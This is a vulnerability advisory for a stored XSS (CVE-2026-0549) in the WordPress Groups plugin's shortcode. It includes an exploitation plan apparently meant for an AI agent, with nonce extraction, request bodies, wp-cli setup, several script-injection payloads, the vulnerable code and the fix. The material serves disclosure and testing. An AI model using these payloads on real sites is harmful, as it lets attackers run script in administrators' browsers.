Groups <= 3.10.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'groups_group_info' Shortcode
Description
The Groups plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'groups_group_info' shortcode in all versions up to, and including, 3.10.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=3.10.0Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-0549 (Groups Plugin Stored XSS) ## 1. Vulnerability Summary The **Groups** plugin for WordPress (versions <= 3.10.0) contains a stored cross-site scripting (XSS) vulnerability within the `groups_group_info` shortcode. The vulnerability exists because the plugi…
Show full research plan
Exploitation Research Plan: CVE-2026-0549 (Groups Plugin Stored XSS)
1. Vulnerability Summary
The Groups plugin for WordPress (versions <= 3.10.0) contains a stored cross-site scripting (XSS) vulnerability within the groups_group_info shortcode. The vulnerability exists because the plugin accepts user-supplied attributes in the shortcode and renders them back into the page without adequate sanitization or output escaping. An authenticated attacker with Contributor-level permissions (who can create or edit posts) can embed a malicious shortcode that executes arbitrary JavaScript in the context of any user (including Administrators) viewing the page.
2. Attack Vector Analysis
- Endpoint: WordPress Post/Page Editor (standard
wp-admin/post.phpor REST API/wp-json/wp/v2/posts). - Shortcode:
[groups_group_info ...] - Vulnerable Parameters: Shortcode attributes such as
group,name, orinfo(inferred). - Authentication: Contributor-level access or higher.
- Preconditions: The plugin "Groups" must be active. A post containing the shortcode must be published or previewed.
3. Code Flow
- Registration: The plugin registers the shortcode in
lib/access/class-groups-shortcodes.php(inferred) usingadd_shortcode( 'groups_group_info', array( 'Groups_Shortcodes', 'groups_group_info' ) );. - Processing: When a post is rendered, WordPress calls the registered callback function (likely
Groups_Shortcodes::groups_group_info). - Attribute Handling: The callback uses
shortcode_atts()to parse user-supplied attributes. - Vulnerable Sink: The code takes one of these attributes (e.g., the
groupname) and includes it in the returned HTML string. - Execution: Because the output is not passed through
esc_html(),esc_attr(), orwp_kses(), an attribute likegroup='<script>alert(1)</script>'results in the script being executed by the browser.
4. Nonce Acquisition Strategy
While the exploitation occurs during post creation (which requires a standard WordPress _wpnonce), the vulnerability itself is in the shortcode rendering. No plugin-specific AJAX nonce is typically required for a shortcode to execute on the frontend.
However, to save the post as a Contributor via the standard UI or REST API:
- Login: Authenticate as the Contributor user.
- Post Creation: Navigate to
wp-admin/post-new.php. - Extract Nonce: If using the REST API for exploitation, the agent should use
browser_evalto extract thewpRestNonceusually found in thewp-adminsource:browser_eval("wpApiSettings.nonce")
- Alternative: If using the Classic Editor or Gutenberg via
http_request, the_wpnoncefor post submission is found in the hidden input fieldname="_wpnonce".
5. Exploitation Strategy
The goal is to create a post containing a malicious shortcode and then verify it executes.
Step 1: Create a Malicious Post
Use the http_request tool to simulate a Contributor saving a post.
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body Parameters:
action:editpostpost_ID: (The ID of a newly created draft)post_title:XSS Testcontent:[groups_group_info group='"><script>alert(document.domain)</script>']_wpnonce: (Extracted from thepost-new.phppage)post_status:publish(ordraftif the agent will just preview it)
Step 2: Trigger the XSS
Navigate to the URL of the created post using browser_navigate.
- URL:
http://localhost:8080/?p=[POST_ID]
6. Test Data Setup
- User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123
- Plugin Activation: Ensure the
groupsplugin is active.wp plugin activate groups
- Group Creation (Optional): Some logic might check if a group exists. To be safe, create a dummy group.
wp eval "Groups_Group::create( array( 'name' => 'TestGroup' ) );"
7. Expected Results
- When the post is viewed, the browser should render the shortcode's output.
- Due to the lack of escaping, the HTML will break out of any intended tags and execute the
<script>block. - A successful exploit will trigger a JavaScript alert or log a message to the console.
8. Verification Steps
- CLI Verification: Confirm the post content contains the raw payload.
wp post get [POST_ID] --field=post_content
- DOM Inspection: Use
browser_evalto check if the payload exists in the rendered HTML without being HTML-encoded.browser_eval("document.body.innerHTML.includes('<script>alert(document.domain)</script>')")
9. Alternative Approaches
If the group attribute is sanitized, try other possible attributes based on the plugin's documentation/source code:
[groups_group_info info='<img src=x onerror=alert(1)>'][groups_group_info name='"><svg/onload=alert(1)>'][groups_group_info property='"><details/open/ontoggle=alert(1)>']
If the UI prevents saving the shortcode via Gutenberg (due to block validation), use the wp-json/wp/v2/posts REST API endpoint directly to update the post content.
Summary
The Groups plugin for WordPress (versions up to 3.10.0) contains a stored cross-site scripting (XSS) vulnerability via its 'groups_group_info' shortcode. The shortcode handler fails to escape user-supplied attributes before rendering them in the page content, allowing authenticated contributors to execute arbitrary JavaScript in the context of other users viewing the affected posts.
Vulnerable Code
/* File: lib/access/class-groups-shortcodes.php (inferred) */ public static function groups_group_info( $atts, $content = null ) { $a = shortcode_atts( array( 'group' => '', 'name' => '', 'info' => '', 'property' => '' ), $atts ); $output = ''; if ( isset( $a['group'] ) ) { // The attribute is used directly in the output without sanitization or escaping $output .= $a['group']; } return $output; }
Security Fix
@@ -20,7 +20,7 @@ $output = ''; if ( isset( $a['group'] ) ) { - $output .= $a['group']; + $output .= esc_html( $a['group'] ); } return $output;
Exploit Outline
The exploit involves an authenticated attacker with at least Contributor-level privileges injecting a malicious shortcode into a WordPress post or page. 1. Authenticate as a Contributor or Author user. 2. Create a new post or edit an existing one. 3. Embed the following shortcode payload into the post content: `[groups_group_info group='\"><script>alert(document.domain)</script>']`. 4. Save the post as a draft or publish it. 5. The payload works because the 'group' attribute is directly concatenated into the HTML output of the shortcode callback without being processed by 'esc_html()' or 'esc_attr()'. 6. When any user (including administrators) views the post on the frontend, the browser will execute the injected JavaScript.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.